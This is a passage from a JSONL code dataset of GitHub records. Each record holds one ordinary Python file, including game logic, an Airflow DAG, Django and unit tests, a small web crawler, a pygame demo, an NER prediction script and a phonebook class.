Destroyer()\n else:\n ship = Submarine()\n open_positions = self.get_open_positions(ship, horizontal=True)\n row = open_positions[0][0]\n column = open_positions[0][1]\n self.place_ship_at(row, column, ship, horizontal=True)\n fleet.add_ship(ship)\n \n def build_random_fleet(self, fleet):\n orientation_choices = [True, False]\n for i in range(fleet.get_capacity()):\n if i < 1:\n ship = Battleship()\n elif i < 3:\n ship = Cruiser()\n elif i < 6:\n ship = Destroyer()\n else:\n ship = Submarine()\n horizontal = random.choice(orientation_choices)\n open_positions = self.get_open_positions(ship, horizontal)\n open_position = random.choice(open_positions)\n row = open_position[0]\n column = open_position[1]\n self.place_ship_at(row, column, ship, horizontal)\n fleet.add_ship(ship) \n ","repo_name":"andersgoddard/Battleships","sub_path":"ocean.py","file_name":"ocean.py","file_ext":"py","file_size_in_byte":6601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"1039506376","text":"from airflow.decorators import task\nfrom airflow import DAG\nfrom datetime import timedelta, datetime\nfrom src.google_drive_handler import send_csv_from_disk\n\ndefault_args = {\n 'owner': 'kowal',\n 'retry': 3,\n 'retry_delay': timedelta(minutes=2)\n}\n\nwith DAG(\n dag_id='send_csv_to_google_drive',\n default_args=default_args,\n catchup=False,\n start_date=datetime(2023, 4, 4),\n schedule_interval='@daily',\n tags=['google_drive']\n) as dag:\n @task()\n def send_csv(path):\n send_csv_from_disk(path)\n\n\n @task()\n def second_send_csv(path):\n send_csv_from_disk(path)\n\n\n send_csv('csv1/test_file.csv') >> second_send_csv('est2.csv')\n","repo_name":"krkowal/AirflowProject","sub_path":"dags/send_csv_to_google_drive.py","file_name":"send_csv_to_google_drive.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33676221972","text":"# -*- coding: utf-8 -*\nimport base64\n\nimport mock\nfrom nose.tools import (\n assert_raises,\n eq_,\n)\nfrom passport.backend.oauth.admin.admin.utils import (\n AmCredentialsManager,\n DecryptFailedError,\n)\nfrom passport.backend.oauth.core.test.framework import BaseTestCase\n\n\nTEST_SECRET = base64.b64encode(b'b' * 16).decode()\n\n\nclass AmCredentialsManagerTestcase(BaseTestCase):\n def setUp(self):\n super(AmCredentialsManagerTestcase, self).setUp()\n self.manager = AmCredentialsManager(b64_secret=TEST_SECRET)\n self.manager._make_random_text = mock.Mock(side_effect=lambda length: 'c' * length)\n self.cases = (\n ('a' * 32, 'DhuK/DPxVGL8YBY/HgyQ6YPU9ZTErWP+iOGo7hrFj+VgYyew1SoGzd6z/tM+18MW'),\n )\n\n def test_encrypt_ok(self):\n for from_, to_ in self.cases:\n eq_(\n self.manager.encrypt(from_),\n to_,\n )\n\n def test_decrypt_ok(self):\n for from_, to_ in self.cases:\n decrypted, padding = self.manager.decrypt(to_)\n eq_(\n decrypted,\n from_,\n )\n eq_(\n padding,\n 'c' * (15 - len(from_) % 16),\n )\n\n def test_decrypt_error(self):\n for bad_value in (\n 'foo',\n base64.b64encode(b'foo').decode(),\n ):\n with assert_raises(DecryptFailedError):\n self.manager.decrypt(bad_value)\n","repo_name":"Alexander-Berg/2022-tests-examples-2","sub_path":"passport/tests/test_utils (16).py","file_name":"test_utils (16).py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16346179421","text":"import datetime\n\nfrom models.user import User\nfrom modules.db_session_manage import DBSessionManage\n\n\nclass UserModule(object):\n \"\"\"Class for UserModule\"\"\"\n\n def create(self, params, database):\n \"\"\"\n Create user\n :params dict params: params to create user\n :params str database: Database\n :return User\n \"\"\"\n db_session = DBSessionManage(database).get_db_session()\n try:\n user = User(database)\n user = self.set_user(user, params)\n\n db_session.add(user)\n db_session.commit()\n\n return user\n\n except:\n db_session.rollback()\n db_session.close()\n raise\n\n def update(self, user, params, db_session):\n \"\"\"\n Update user\n :params dict params: params to update user\n :param session db_session: Database session\n \"\"\"\n if not user:\n raise Exception('UserModule: User is required', 400)\n\n try:\n user.fullname = params.get('fullname')\n\n user.updated_at = datetime.now()\n\n db_session.add(user)\n db_session.commit()\n\n except:\n db_session.rollback()\n db_session.close()\n raise\n\n def delete(self, user, db_session):\n \"\"\"\n Delete user\n :params dict user: User to delete\n :param session db_session: Database session\n \"\"\"\n try:\n db_session.delete(user)\n db_session.flush()\n db_session.commit()\n\n except:\n db_session.rollback()\n db_session.close()\n raise\n\n @classmethod\n def search_by_filter_params(cls, params, database):\n \"\"\"\n Search users by filter params\n :param dict params: Request params\n :param str database: Database\n :return dict: Search users response\n \"\"\"\n db_session = DBSessionManage(database).get_db_session()\n\n users, count = User.get_by_filter_params(params, database)\n\n response = cls.get_default_response()\n response['count'] = count\n response['users'] = cls.users_to_dict(users, db_session)\n\n db_session.close()\n\n return response\n\n @classmethod\n def set_user(cls, user, params):\n \"\"\"\n Set fields values of User\n :param user user: User model\n :param dict params: User params\n :param session db_session: Database session\n :return User\n \"\"\"\n setattr(user, 'fullname', params.get('fullname'))\n\n return user\n\n @classmethod\n def users_to_dict(cls, users, db_session):\n \"\"\"\n Return users in dict format\n :param list of user: List with users\n :param session db_session: Database session\n :return list(dict): List with users in dict format\n \"\"\"\n users_dict = []\n for user in users:\n user_dict = {\n 'id': user.id,\n 'created_at': user.created_at,\n 'fullname': user.fullname,\n 'projects_designated': None,\n 'projects_leader': None,\n 'updated_at': user.updated_at\n }\n cls.set_projects_designated(user.id, user_dict, db_session)\n cls.set_projects_leader(user.id, user_dict, db_session)\n\n users_dict.append(user_dict)\n\n return users_dict\n\n @staticmethod\n def get_default_response():\n \"\"\"\n Get users default response\n :return dict: Users default response\n \"\"\"\n return {\n 'count': 0,\n 'users': []\n }\n\n @staticmethod\n def set_projects_designated(user_id, user_dict, db_session):\n \"\"\"\n Set projects in user dict\n :param int user_id: User id\n :param dict user_dict: User dict\n :param session db_session: Database session\n \"\"\"\n projects_id = []\n projects = User.get_designated_by_project_id(user_id, db_session)\n\n if projects:\n for project in projects:\n projects_id.append(project.id)\n\n user_dict['projects_designated'] = projects_id\n\n @staticmethod\n def set_projects_leader(user_id, user_dict, db_session):\n \"\"\"\n Set projects in user dict\n :param int user_id: User id\n :param dict user_dict: User dict\n :param session db_session: Database session\n \"\"\"\n projects_id = []\n projects = User.get_leader_by_project_id(user_id, db_session)\n\n if projects:\n for project in projects:\n projects_id.append(project.id)\n\n user_dict['projects_leader'] = projects_id\n","repo_name":"Dellaquila07/TaskHub-API","sub_path":"modules/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":4704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"43009176974","text":"# -*- coding: utf-8 -*-\n\"\"\"\nreference: https://stackoverflow.com/questions/1628766/python-package-for-multi-threaded-spider-w-proxy-support\n\"\"\"\n\n\nimport sys\nfrom urllib import urlopen\nfrom BeautifulSoup import BeautifulSoup\nfrom Queue import Queue, Empty\nfrom threading import Thread\n\nvisited = set()\nqueue = Queue()\n\ndef get_parser(host, root, charset):\n\n try:\n while True:\n url = queue.get_nowait()\n try:\n content = urlopen(url).read().decode(charset)\n except UnicodeDecodeError:\n continue\n for link in BeautifulSoup(content).findAll('a'):\n try:\n href = link['href']\n except KeyError:\n continue\n if not href.startswith('http://'):\n href = 'http://%s%s' % (host, href)\n if not href.startswith('http://%s%s' % (host, root)):\n continue\n if href not in visited:\n visited.add(href)\n queue.put(href)\n print(href)\n except Empty:\n pass\n\nif __name__ == '__main__':\n host, root, charset = sys.argv[1:]\n queue.put('http://%s%s' % (host, root))\n workers = []\n for i in range(5):\n worker = Thread(target=get_parser, args=(host, root, charset))\n worker.start()\n workers.append(worker)\n for worker in workers:\n worker.join()\n","repo_name":"sunggeunkim/datastructure","sub_path":"multithread/web_crawler_thread.py","file_name":"web_crawler_thread.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16717872865","text":"# pygame.mask module\n# https://www.pygame.org/docs/ref/mask.html\n#\n# pygame.sprite module\n# https://www.pygame.org/docs/ref/sprite.html\n#\n# How would I make color collision using pygame.mask?\n# https://stackoverflow.com/questions/65981815/how-would-i-make-color-collision-using-pygame-mask/65982315#65982315\n#\n# GitHub - Sprite, Group and Sprite mask - Sprite mask\n# https://github.com/Rabbid76/PyGameExamplesAndAnswers/blob/master/documentation/pygame/pygame_sprite_and_sprite_mask.md\n#\n# https://replit.com/@Rabbid76/PyGame-SpriteMask\n\nimport pygame\n\ndef ColorMask(image, mask_color):\n mask_image = image.convert()\n mask_image.set_colorkey(mask_color)\n mask = pygame.mask.from_surface(mask_image)\n mask.invert()\n return mask\n\npygame.init()\nwindow = pygame.display.set_mode((450, 250))\n\ntest_image = pygame.Surface((200, 200), pygame.SRCALPHA)\npygame.draw.circle(test_image, (255, 0, 0), (70, 70), 70)\npygame.draw.circle(test_image, (0, 255, 0), (130, 70), 70)\npygame.draw.circle(test_image, (0, 0, 255), (70, 130), 70)\npygame.draw.circle(test_image, (255, 255, 255), (130, 130), 70)\n\nmask = ColorMask(test_image, (255, 0, 0))\n\nrun = True\nwhile run:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n window.fill(0)\n window.blit(test_image, (25, 25))\n window.blit(mask.to_surface(), (250, 25))\n pygame.display.flip()\n\npygame.quit()\nexit()","repo_name":"Rabbid76/PyGameExamplesAndAnswers","sub_path":"examples/minimal_examples/pygame_minimal_mask_from_color.py","file_name":"pygame_minimal_mask_from_color.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"66"}
+{"seq_id":"73707002129","text":"import argparse\nimport json\nimport sys\nfrom pathlib import Path\n\nsys.path.append(\"../\")\n\nfrom tqdm import tqdm\nimport torch\nfrom torch.utils.data import DataLoader, Subset\nfrom torch.nn.utils.rnn import pad_sequence\nfrom transformers import AutoTokenizer, AutoModel\n\nfrom utils.dataset import ShinraData\nfrom utils.util import to_parallel, to_fp16\nfrom attribute_extraction.dataset import NerDataset, ner_collate_fn, create_dataset_for_ner\nfrom attribute_extraction.model import BertForMultilabelNER, create_pooler_matrix\n\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n\ndef ner_for_shinradata(model, tokenizer, shinra_dataset, device, bsz=8):\n processed_data = shinra_dataset.ner_inputs\n dataset = NerDataset(processed_data, tokenizer)\n total_preds, _ = predict(model, dataset, device, sent_wise=True)\n\n shinra_dataset.add_nes_from_iob(total_preds)\n\n return shinra_dataset\n\n\ndef predict(model, dataset, device, sent_wise=False):\n model.eval()\n dataloader = DataLoader(dataset, batch_size=8, collate_fn=ner_collate_fn)\n\n total_preds = []\n total_trues = []\n with torch.no_grad():\n for step, inputs in enumerate(dataloader):\n input_ids = inputs[\"tokens\"]\n word_idxs = inputs[\"word_idxs\"]\n\n labels = inputs[\"labels\"]\n\n input_ids = pad_sequence([torch.tensor(t) for t in input_ids], padding_value=0, batch_first=True).to(device)\n attention_mask = input_ids > 0\n pooling_matrix = create_pooler_matrix(input_ids, word_idxs, pool_type=\"head\").to(device)\n\n preds = model.predict(\n input_ids=input_ids,\n attention_mask=attention_mask,\n word_idxs=word_idxs,\n pooling_matrix=pooling_matrix\n )\n\n total_preds.append(preds)\n # test dataの場合truesは使わないので適当にpredsを入れる\n total_trues.append(labels if labels[0] is not None else preds)\n\n attr_num = len(total_preds[0])\n total_preds = [[pred for preds in total_preds for pred in preds[attr]] for attr in range(attr_num)]\n total_trues = [[true for trues in total_trues for true in trues[attr]] for attr in range(attr_num)]\n\n if sent_wise:\n total_preds = [[total_preds[attr][idx] for attr in range(attr_num)] for idx in range(len(total_preds[0]))]\n total_trues = [[total_trues[attr][idx] for attr in range(attr_num)] for idx in range(len(total_trues[0]))]\n\n return total_preds, total_trues\n\ndef parse_arg():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--bert_name\", type=str, help=\"Specify BERT name\")\n parser.add_argument(\"--input_path\", type=str, help=\"Specify input path in SHINRA2020\")\n parser.add_argument(\"--model_path\", type=str, help=\"Specify attribute_list path in SHINRA2020\")\n parser.add_argument(\"--output_path\", type=str, help=\"Specify attribute_list path in SHINRA2020\")\n parser.add_argument(\"--bsz\", type=int, help=\"Specify attribute_list path in SHINRA2020\")\n parser.add_argument(\"--parallel\", action=\"store_true\", help=\"Specify attribute_list path in SHINRA2020\")\n parser.add_argument(\"--fp16\", action=\"store_true\", help=\"whether using inbatch negative\")\n parser.add_argument('--fp16_opt_level', type=str, default=\"O1\")\n parser.add_argument(\"--seed\", type=int, help=\"Specify attribute_list path in SHINRA2020\")\n parser.add_argument(\"--note\", type=str, help=\"Specify attribute_list path in SHINRA2020\")\n\n args = parser.parse_args()\n\n return args\n\nif __name__ == \"__main__\":\n args = parse_arg()\n\n bert = AutoModel.from_pretrained(args.bert_name)\n tokenizer = AutoTokenizer.from_pretrained(args.bert_name)\n\n # dataset = [ShinraData(), ....]\n dataset = ShinraData.from_shinra2020_format(Path(args.input_path), get_attributes=True)\n attributes = next(dataset)\n\n model = BertForMultilabelNER(bert, len(attributes)).to(device)\n model.load_state_dict(torch.load(args.model_path))\n\n if args.fp16:\n assert args.fp16_opt_level is not None\n model = to_fp16(model, fp16_opt_level=args.fp16_opt_level)\n\n with open(args.output_path, \"w\") as f:\n step = 0\n for data in tqdm(dataset):\n if data.nes is None:\n continue\n output_dataset = ner_for_shinradata(model, tokenizer, data, device, bsz=args.bsz)\n f.write(\"\\n\".join([json.dumps(n, ensure_ascii=False) for n in output_dataset.nes]))\n step += 1\n if step > 50:\n break\n f.write(\"\\n\")\n","repo_name":"ujiuji1259/shinra-pipeline","sub_path":"src/attribute_extraction/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"12229634760","text":"# from unittest import skip\n\nfrom django.urls import resolve, reverse\n\nfrom recipes import views\n\nfrom .test_recipe_base import RecipeTestBase\n\n\nclass RecipeHomeViewTest(RecipeTestBase):\n def test_recipe_home_view_function_is_correct(self):\n view = resolve(reverse('recipes:home'))\n self.assertIs(view.func, views.home)\n\n def test_recipe_home_view_returns_status_code_200_ok(self):\n response = self.client.get(reverse('recipes:home'))\n self.assertEqual(response.status_code, 200)\n\n def test_recipe_home_view_loads_correct_template(self):\n response = self.client.get(reverse('recipes:home'))\n self.assertTemplateUsed(response, 'recipes/pages/home.html')\n\n # @skip('WIP')\n def test_recipe_home_template_shows_no_recipes_found_if_no_recipes(self):\n response = self.client.get(reverse('recipes:home'))\n self.assertIn(\n 'No recipes found here
',\n response.content.decode('utf-8')\n )\n\n # # Fazer o teste falhar para retornar e resolver o mesmo\n # self.fail('Inclementar o fail para fazer dar erro')\n\n def test_recipe_home_template_loads_recipes(self):\n self.make_recipe(author_data={\n 'first_name': 'Luiz'\n })\n response = self.client.get(reverse('recipes:home'))\n content = response.content.decode('utf-8')\n reponse_context_recipes = response.context['recipes']\n\n self.assertIn('Recipe title', content)\n self.assertIn('10 Minutos', content)\n self.assertIn('5 Porções', content)\n self.assertIn('Luiz', content)\n self.assertEqual(len(reponse_context_recipes), 1)\n\n def test_recipe_home_template_dont_load_recipes_not_published(self):\n self.make_recipe(is_published=False)\n\n response = self.client.get(reverse('recipes:home'))\n\n self.assertIn(\n 'No recipes found here
',\n response.content.decode('utf-8')\n )\n","repo_name":"Richardy-Gabriel/django-recipes-project1","sub_path":"recipes/tests/test_recipe_home_view.py","file_name":"test_recipe_home_view.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"1896177225","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 16 22:31:28 2019\r\n\r\n@author: SHF_W\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport cv2\r\nimport rules\r\nimport time\r\n\r\n\r\ndef initialize(): \r\n global startTime\r\n startTime = time.time() \r\n \r\n #SetBehaviorClient(behav_,\"robot_0\")\r\n\r\ndef now_time(start): \r\n return time.time() - start\r\n\r\nattack_hold_value = 31\r\nattack_hold_degre = 10 # 초당 value 10씩 감소, 최대 3번, 한 자리에서 계속 공격하지 않게 하는 값. value가 \r\noccupy_hold_value = 200\r\n\r\n\r\nif __name__ == '__main__':\r\n \r\n \r\n team1 = 'blue'\r\n team2 = 'red'\r\n robot1 = rules.rules([200,320], team1)\r\n robot3 = rules.rules([200,320], team2)\r\n \r\n '''\r\n ==================================================\r\n Get Value from Black Board\r\n ==================================================\r\n '''\r\n initialize()\r\n #stance = 'passive'\r\n stance = 'aggressive'\r\n \r\n r1_pos = [0.500, 4.500]\r\n r3_pos = [7.5, 4]\r\n #r4_pos = [7.0, .5]\r\n \r\n buff_time = 0\r\n ammo_left = False\r\n \r\n while now_time(startTime) < 20: \r\n f1 = now_time(startTime)\r\n \r\n robot1.init()\r\n robot1.bonus_zone(buff_time, 2, False, 200)\r\n robot1.enemy_zone(stance, r3_pos, 90, 1.5, 50) \r\n robot1.enemy_zone(stance, r3_pos, 90, 1.5, 50) \r\n robot1.reload_zone(stance, now_time(startTime), ammo_left, 10, 100) \r\n robot1.move_cost(stance, r1_pos, -2)\r\n #robot1.enemy_overlap(r3_pos, r4_pos, 25) \r\n robot1.first_occupy(r1_pos)\r\n robot1.wall_limit()\r\n \r\n if int(now_time(startTime))%30 == 0 and now_time(startTime) > 2:\r\n ammo_left = True\r\n \r\n '''\r\n ==================================================\r\n test variable change\r\n ==================================================\r\n '''\r\n flags = np.zeros([10])\r\n if now_time(startTime) >= 5 and now_time(startTime) < 35:\r\n buff_time = 35-now_time(startTime)\r\n if now_time(startTime) >= 5:\r\n buff_time = 65-now_time(startTime)\r\n \r\n r1_score = robot1.raw().getValue(r1_pos)\r\n r1_goal = robot1.raw().getPoint() \r\n pt = now_time(startTime) - f1\r\n print('my_pos : ', r1_score, r1_pos, 'Max :' , r1_goal)\r\n print('Process Time : ', pt , 'FPS:', int(10/pt)/10 ) \r\n \r\n \r\n \r\n ''' enemy'''\r\n robot3.init()\r\n robot3.bonus_zone(buff_time, 2, False, 200)\r\n robot3.enemy_zone(stance, r1_pos, 100, 1.5, 50) \r\n robot3.reload_zone(stance, now_time(startTime), ammo_left, 10, 100) \r\n robot3.move_cost(stance, r3_pos, -2)\r\n robot3.wall_limit()\r\n robot1.first_occupy(r3_pos)\r\n robot1.enemy_occupy(r3_pos)\r\n \r\n r3_score = robot3.raw().getValue(r3_pos)\r\n r3_goal = robot3.raw().getPoint() \r\n \r\n \r\n ''' teleport move'''\r\n if r1_score+50+10 < r1_goal[0] :\r\n r1_pos = r1_goal[1] \r\n \r\n if r3_score+50+10 < r3_goal[0] :\r\n r3_pos = r3_goal[1] \r\n \r\n robot1.plot()\r\n plt.pause(1)\r\n \r\n ","repo_name":"Jwill1994/RobomasterAIChallenge","sub_path":"Decision/decision_map/window_version/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"20301057839","text":"class Solution:\n def licenseKeyFormatting(self, s: str, k: int) -> str:\n if (len(s)-s.count(\"-\"))%k!=0:\n first=(len(s)-s.count(\"-\"))%k\n firstDone=False\n else:\n firstDone=True\n appendList=[]\n count=0\n intermittentString=\"\"\n for i,st in enumerate(s):\n if st!=\"-\":\n if not firstDone:\n intermittentString+=st\n count+=1\n if count==first:\n firstDone=True\n count=0\n appendList.append(intermittentString.upper())\n intermittentString=\"\"\n else:\n intermittentString+=st\n count+=1\n if count==k:\n count=0\n appendList.append(intermittentString.upper())\n intermittentString=\"\"\n return \"-\".join(appendList)\n \nif __name__==\"__main__\":\n s = \"2-5g-3-J\"\n k = 2\n print(Solution().licenseKeyFormatting(s=s,k=k))","repo_name":"ritishadhikari/leetCode","sub_path":"482_License_Key_Formatting.py","file_name":"482_License_Key_Formatting.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"30337665664","text":"import serverUser, modules\n\n\ndef main():\n # Opens the file\n with open(\"input.txt\", \"r\") as f:\n # Reads the file and stores into their respective variables\n ttask = int(f.readline())\n # Checks if it is a valid input\n if ttask < 1 or ttask > 10:\n raise ValueError\n umax = int(f.readline())\n # Checks if it is a valid input again\n if umax < 1 or umax > 10:\n raise ValueError\n # Declares necessary variables for use\n servers, users = [], []\n server_counter = 1\n expenses = 0\n with open(\"output.txt\", \"w\") as output:\n # This while represents every tick\n while True:\n # Checks and deletes every user which has done their task\n modules.clean_users(users)\n\n # Shutdown any server which has 0 users\n modules.shutdown(servers)\n\n number_of_users = f.readline()\n\n # If it contains users to process\n if number_of_users != \"\":\n # Processes the users\n for i in range(int(number_of_users)):\n is_inserted = False\n # Insert a user into a server\n for server in servers:\n if server.is_available():\n server.add_user()\n users.append(serverUser.User(server, ttask))\n is_inserted = True\n break\n\n if not is_inserted:\n servers.append(serverUser.Server(server_counter, umax))\n server_counter += 1\n users.append(serverUser.User(servers[-1], ttask))\n # Write the expenses and exits the program\n # If there are no more servers running\n if not servers:\n output.write('0' + '\\n' + str(expenses))\n break\n # Writes to the output the servers that are active\n output.write(modules.server_string(servers))\n # Calculate the expenses\n expenses += len(servers)\n\nmain()\n","repo_name":"prophylacticoder/topaz_exercise","sub_path":"py/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"43627236825","text":"from typing import Dict, Union\n\nimport tempfile\nfrom functools import wraps\nfrom os import path, makedirs\n\n\ndef create_file_struct(base_dir: str, struct: Dict[str, Union[int, dict]]):\n for k, v in struct.items():\n if isinstance(v, int):\n file_name = path.join(base_dir, k)\n\n with open(file_name, \"wb\") as out_file:\n out_file.seek(v - 1)\n out_file.write(b\"\\0\")\n\n elif isinstance(v, dict):\n next_dir_path = path.join(base_dir, k)\n makedirs(next_dir_path)\n\n create_file_struct(next_dir_path, v)\n\n\ndef with_file_structure(struct: Dict[str, Union[int, dict]]):\n def wrapper(func):\n @wraps(func)\n def wrapped(*args, **kwargs):\n with tempfile.TemporaryDirectory() as tmp_dir_name:\n create_file_struct(tmp_dir_name, struct)\n\n func(*args, wd=tmp_dir_name, **kwargs)\n\n return wrapped\n\n return wrapper\n","repo_name":"kc41/fspy","sub_path":"tests/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"71869202771","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nExponential = __import__('exponential').Exponential\n\n\nnp.random.seed(0)\ndata = np.random.exponential(0.5, 9999).tolist()\ne = Exponential(data)\nprint('f(1):', e.pdf(1))\nprint('F(1):', e.cdf(1))\n\nx = np.arange(0, 15, 0.001)\ny = [e.pdf(x) for x in x]\nz = [e.cdf(x) for x in x]\n\nfig, ax1 = plt.subplots()\nax2 = ax1.twinx()\n\nplt.title('Exponential Distribution')\nax1.hist(data, 60, density=True)\npdf = ax1.plot(x, y, color='red', label='pdf')\ncdf = ax2.plot(x, z, color='green', label='cdf')\nplt.xticks(np.arange(0, 3.5, step=0.5))\nplt.xlim(0, 3)\nplt.ylim(0, 1)\n\nax1.set_xlabel('x')\nax1.set_ylabel('pdf')\nax2.set_ylabel('cdf')\nplt.show()\n","repo_name":"alejogonza/holbertonschool-machine_learning","sub_path":"math/0x03-probability/exponentialplot.py","file_name":"exponentialplot.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"26688904006","text":"import collections\n\n\ndef solution(k, tangerine):\n count = collections.Counter(tangerine)\n count = dict(count.most_common())\n value = 0\n answer = 0\n for i in count.keys():\n value += count[i]\n answer += 1\n if value >= k:\n break\n return answer\n","repo_name":"seonghun-dev/Algorithm","sub_path":"programmers/level2/programmers138476.py","file_name":"programmers138476.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"42602440970","text":"#coding=utf-8\n\"\"\"\n@athor:weifeng.guo \n@data:2018/11/12 15:12\n@filename:Popular_Words\n\"\"\"\ndef popular_words(strings, list):\n dict = {}\n strings = strings.lower()\n string_list = strings.replace(\"\\n\", \" \").split(\" \")\n for char in list:\n dict[char] = string_list.count(char)\n return dict\n\npopular_words('''When I was One\nI had just begun\nWhen I was Two\nI was nearly new\n''', ['i', 'was', 'three', 'near'])","repo_name":"guoweifeng216/pythonlearn","sub_path":"checkio/Popular_Words.py","file_name":"Popular_Words.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33521073532","text":"import pytest\n\n\n@pytest.fixture\ndef mock_contractor_merch_payments(mockserver):\n @mockserver.json_handler(\n 'contractor-merch-payments/'\n 'internal/v1/contractor-merch-payments/payment/status',\n )\n async def _payment_status_get(request):\n if context.payment_status_get.status != 200:\n return mockserver.make_response(\n status=context.payment_status_get.status,\n json={\n 'code': 'payment_not_found',\n 'message': 'payment_not_found',\n },\n )\n\n payment = {\n 'contractor': {\n 'park_id': 'park-id-0',\n 'contractor_id': 'contractor-id-0',\n },\n 'status': 'pending_merchant_approve',\n 'created_at': context.payment_status_get.created_at,\n 'updated_at': context.payment_status_get.updated_at,\n }\n\n if context.payment_status_get.body is not None:\n payment.update(context.payment_status_get.body)\n\n return {'payment': payment}\n\n class PaymentStatusGetContext:\n def __init__(self):\n self.handler = _payment_status_get\n\n self.body = None\n self.status = 200\n self.created_at = '2021-11-12T12:00:00+00:00'\n self.updated_at = '2021-11-12T12:00:00+00:00'\n\n @mockserver.json_handler(\n 'contractor-merch-payments/'\n 'internal/contractor-merch-payments/v1/payment/price',\n )\n async def _payment_price_put(request):\n return context.payment_price_put.body\n\n class PaymentPricePutContext:\n def __init__(self):\n self.handler = _payment_price_put\n\n self.body = {\n 'contractor': {\n 'park_id': 'park-id-0',\n 'contractor_id': 'contractor-id-0',\n },\n 'created_at': '2021-11-12T12:00:00+00:00',\n }\n\n class Context:\n def __init__(self):\n self.payment_status_get = PaymentStatusGetContext()\n self.payment_price_put = PaymentPricePutContext()\n\n context = Context()\n\n return context\n","repo_name":"Alexander-Berg/2022-tests-examples-2","sub_path":"Taxi/test_contractor_merch_payments_bot/mocks/contractor_merch_payments.py","file_name":"contractor_merch_payments.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16427102761","text":"# Создание класса \"Телефонная книга\" с атрибутами \"имя\", \"номер телефона\".\n# Реализовать методы для добавления и удаления контакта, изменения данных контакта, вывода информации о всех контактах, а также поиска контакта по имени.\n\n# импортируем класс\nclass Phonebook:\n all_contacts = []\n\n def __init__(self, name, phone_number):\n self.name = name\n self.phone_number = phone_number\n Phonebook.all_contacts.append(self)\n @classmethod\n def add_contact(cls,contact):\n cls.all_contacts.append(contact)\n\n\n def change_phone(self,phone):\n self.phone_number = phone\n\n @classmethod\n def print_contacts(self):\n for contact in Phonebook.all_contacts:\n print(f'имя: {contact.name}, номер телефона: {contact.phone_number}')\n\n\n @classmethod\n def search_contact(cls, name):\n for contact in Phonebook.all_contacts:\n if contact.name == name:\n print(f'Имя : {contact.name}, номер : {contact.phone_number}' )\n\n\n\n\n\n\n# создаем объекты контактов\ncontact1 = Phonebook(\"Иван Иванов\", \"+7 (111) 111-11-11\")\ncontact2 = Phonebook(\"Петр Петров\", \"+7 (222) 222-22-22\")\n\n# добавляем контакт\ncontact3 = Phonebook(\"Сергей Сергеев\", \"+7 (333) 333-33-33\")\nPhonebook.add_contact(contact3)\n\n# изменяем данные контакта\ncontact1.change_phone(\"+7 (444) 444-44-44\")\n\n# выводим информацию о всех контактах\nPhonebook.print_contacts()\n\n# ищем контакт по имени\nPhonebook.search_contact(\"Петр Петров\")","repo_name":"zzzolliom/phytonLevelUp2","sub_path":"Home_tasks_3/3_PhoneBook.py","file_name":"3_PhoneBook.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"22532237920","text":"from __future__ import print_function, unicode_literals, absolute_import, division\nimport numpy as np\nimport numpy.testing as npt\nimport scipy.ndimage.filters as spf\nfrom itertools import combinations_with_replacement, combinations\nfrom gputools.convolve import gaussian_filter\nfrom gputools.convolve.generic_separable_filters import _gauss_filter\n\n\ndef _test_single(dshape, sigma, dtype = np.float32, strides=(1,1),skip_assert = False):\n x = np.random.randint(0, 240, dshape).astype(dtype)\n\n ss_stride = tuple(slice(0,None,s) for s in strides)\n \n out1 = gaussian_filter(x, sigma, strides=strides)\n out2 = spf.gaussian_filter(x, sigma, mode= \"constant\", cval=0)[ss_stride]\n\n print((\"shape: %s sigma: %s strides %s type: %s diff: %.2f\" % (dshape, sigma, strides, dtype,np.amax(np.abs(1.*out1 - out2)))))\n if not skip_assert:\n npt.assert_almost_equal(out1,out2, decimal = 0)\n return out1, out2\n\n\ndef test_all():\n stridess = 